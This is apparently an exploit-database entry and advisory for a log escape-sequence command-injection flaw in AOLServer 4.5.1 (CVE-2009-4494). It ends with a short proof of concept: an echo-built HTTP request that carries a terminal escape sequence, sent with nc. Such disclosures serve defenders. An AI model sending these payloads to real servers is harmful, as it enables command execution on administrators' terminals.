AOLServer Terminal 4.5.1 - Escape Sequence in Logs Command Injection

Author: evilaliv3
type: remote
platform: multiple
port: 0
date_added: 2010-01-11
date_updated: 2014-05-26
verified: 1
codes: CVE-2009-4494;OSVDB-61772
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source: https://www.securityfocus.com/bid/37712/info

AOLServer is prone to a command-injection vulnerability because it fails to adequately sanitize user-supplied input in logfiles.

Attackers can exploit this issue to execute arbitrary commands in a terminal.

AOLServer 4.5.1 is vulnerable; other versions may also be affected.

The following example is available:

echo -en "GET /\x1b]2;owned?\x07\x0a\x0d\x0a\x0d" > payload
nc www.example.com 80 < payload